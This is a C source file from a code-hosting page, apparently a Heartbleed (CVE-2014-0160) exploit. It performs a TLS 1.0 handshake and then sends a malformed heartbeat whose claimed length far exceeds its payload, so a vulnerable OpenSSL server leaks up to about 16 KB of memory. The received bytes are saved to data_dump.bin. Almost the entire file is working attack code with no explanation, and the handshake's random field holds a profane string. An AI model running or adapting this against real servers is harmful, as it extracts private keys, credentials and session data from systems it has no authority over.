-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathcve-2014-160.c
291 lines (228 loc) · 6.57 KB
/
cve-2014-160.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <stdint.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <openssl/ssl.h>
void wait_server_helo_done(int s);
int write_down(char *src, int len, char *fname);
int connect_target(const char *name, const char *port);
/* TYPES: */
struct helo_message {
uint8_t handshake_type;
uint8_t length[3];
/* anything more? */
} __attribute__ ((packed));
struct ext_hb {
uint16_t type;
uint16_t length;
uint8_t mode;
} __attribute__ ((packed));
struct helo_message_client {
struct helo_message helo_message;
uint16_t version;
uint32_t timestamp;
uint8_t random[28];
uint8_t sessid_length;
uint16_t cipher_suites;
uint16_t ciphers[16];
uint8_t compression_method_cnt;
uint8_t compression_methods[1];
uint16_t extensions_length;
struct ext_hb extension_hb;
} __attribute__ ((packed));
struct heartbeat_message {
uint8_t type;
uint16_t length;
uint8_t payload[2];
uint8_t padding[16];
} __attribute__ ((packed));
struct tls_generic_message {
uint8_t content_type;
uint16_t version;
uint16_t length;
} __attribute__ ((packed));
struct tls_received_message {
struct tls_generic_message message;
uint8_t payload[0x4000 - sizeof(struct tls_generic_message)];
};
struct tls_message_helo_client {
struct tls_generic_message message;
struct helo_message_client payload;
} __attribute__ ((packed));
struct tls_message_heartbeat {
struct tls_generic_message message;
struct heartbeat_message payload;
} __attribute__ ((packed));
/* TYPES END */
int main(int argc, char **argv)
{
/* DATA: */
char *name = "127.0.0.1";
char *port = "https";
struct tls_message_helo_client client_hlo = {
.message = {
22, /* handshake message*/
0x0103, /* protocol version 3.1 */
htons(sizeof(struct helo_message_client)),
},
.payload = {
.helo_message = {
.handshake_type = 1, /* Client helo */
.length = {0,0, sizeof(struct helo_message_client) - sizeof(struct helo_message)},
},
.version = 0x0103, /* TLS 1.0 */
.timestamp = 0x69624553,
.random = "Fuck you asshole! Fuck you!",
.sessid_length = 0,
.cipher_suites = 0x2000, /* 0x0020 in network order */
.ciphers = {0x14c0,0x0ac0,0x22c0,0x21c0,0x3900,0x3800,0x8800,0x8700,0x0fc0,0x05c0,0x3500,0x8400,0x12c0,0x08c0,0x1cc0,0x1bc0},
.compression_method_cnt = 1,
.compression_methods = {0},
.extensions_length = 0x0500,
.extension_hb = {0x0f00, 0x0100, 1}
}
};
struct tls_message_heartbeat hb = {
.message = {
.content_type = 24, /* heartbeat message */
.version = 0x0103, /* protocol version 3.1 */
.length = htons(sizeof(struct heartbeat_message))
},
.payload = {
1,
htons(0x4000 - sizeof(struct heartbeat_message))
}
};
/* DATA END. */
if (argc > 1)
name = argv[1];
if (argc > 2)
port = argv[2];
int s = connect_target(name, port);
int bt = write(s, &client_hlo, sizeof(client_hlo));
printf("Client helo: sent %d bytes\n", bt);
wait_server_helo_done(s);
bt = write(s, &hb, sizeof(hb));
printf("Client heartbeat: sent %d bytes\n", bt);
/* Now we need to read heartbeat answer of len bytes. */
unsigned char buf[65535];
bt = recv(s, buf, sizeof(buf), 0);
if (-1 == bt) {
printf("Cannot read: %s\n", strerror(errno));
exit(5);
}
if (0 == bt) {
printf("Server closed connection\n");
exit(5);
}
printf("%d bytes received from host\n", bt);
write_down(buf, bt, "data_dump.bin");
return 0;
}
int connect_target(const char *name, const char *port)
{
int s = socket(AF_INET, SOCK_STREAM, 0);
if (-1 == s) {
printf("Cannot create socket.\n");
exit(1);
}
struct addrinfo hints = {0};
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
struct addrinfo *endpoint;
int result = getaddrinfo(name, port, &hints, &endpoint);
if (result) {
printf("Cannot reoslve address: %s:%s: %s\n", name, port, gai_strerror(result));
exit(1);
}
do {
struct sockaddr_in *a = (struct sockaddr_in *)endpoint->ai_addr;
printf("trying to connect: %s\n", inet_ntoa(a->sin_addr));
result = connect(s, endpoint->ai_addr, endpoint->ai_addrlen);
if (!result) {
printf("Connected to: %s:%s (%s:%d)\n",
name,
port,
inet_ntoa(a->sin_addr),
ntohs(a->sin_port));
return s;
}
printf("Cannot connect to %s: %s\n", inet_ntoa(a->sin_addr), strerror(errno));
endpoint = endpoint->ai_next;
} while(endpoint);
close(s);
exit(1);
}
int write_down(char *src, int len, char *fname)
{
int fd = open(fname, O_RDWR|O_TRUNC|O_CREAT, S_IRUSR|S_IWUSR);
if (-1 == fd) {
printf("Cannot open %s: %s\n", fname, strerror(errno));
exit(5);
}
int bt = write(fd, src, len);
if (-1 == bt) {
printf("Cannot write to %s: %s\n", fname, strerror(errno));
exit(5);
}
close(fd);
printf("%d bytes written into %s\n", bt, fname);
}
int read_message(int s, struct tls_received_message *p_msg)
{
int bt = read(s, p_msg, sizeof(struct tls_generic_message));
if (-1 == bt) {
printf("Cannot read message: %s\n", strerror(errno));
exit(5);
}
if (0 == bt) {
printf("Server closed connection\n");
exit(5);
}
printf("Message received (%d bytes): message type: %d; ",
bt, p_msg->message.content_type);
if (22 != p_msg->message.content_type)
return 0;
int length = ntohs(p_msg->message.length);
if (sizeof(p_msg->payload) < length)
length = sizeof(p_msg->payload);
printf("Message payload is %d bytes (%d)\n", length, ntohs(p_msg->message.length));
bt = 0;
while (bt < length) {
int readed = read(s, (uint8_t *)&p_msg->payload + bt, length - bt);
if (-1 == readed) {
printf("Cannot read: %s\n", strerror(errno));
break;
}
if (0 == readed) {
printf("Server closed connection\n");
break;
}
bt += readed;
}
return bt;
}
void wait_server_helo_done(int s)
{
struct tls_received_message msg;
struct helo_message *hlo_msg = (struct helo_message *)&msg.payload;
int bt;
do {
bt = read_message(s, &msg);
if (bt)
printf("Payload of %d bytes: handshake type: %d\n", bt, hlo_msg->handshake_type);
if (ntohs(msg.message.length) > bt) {
printf("Only %d of %d message bytes received. Aborting.\n", bt, ntohs(msg.message.length));
break;
}
if (hlo_msg->handshake_type == 14)
return;
} while (msg.message.content_type == 22 && hlo_msg->handshake_type != 14);
exit(5);
}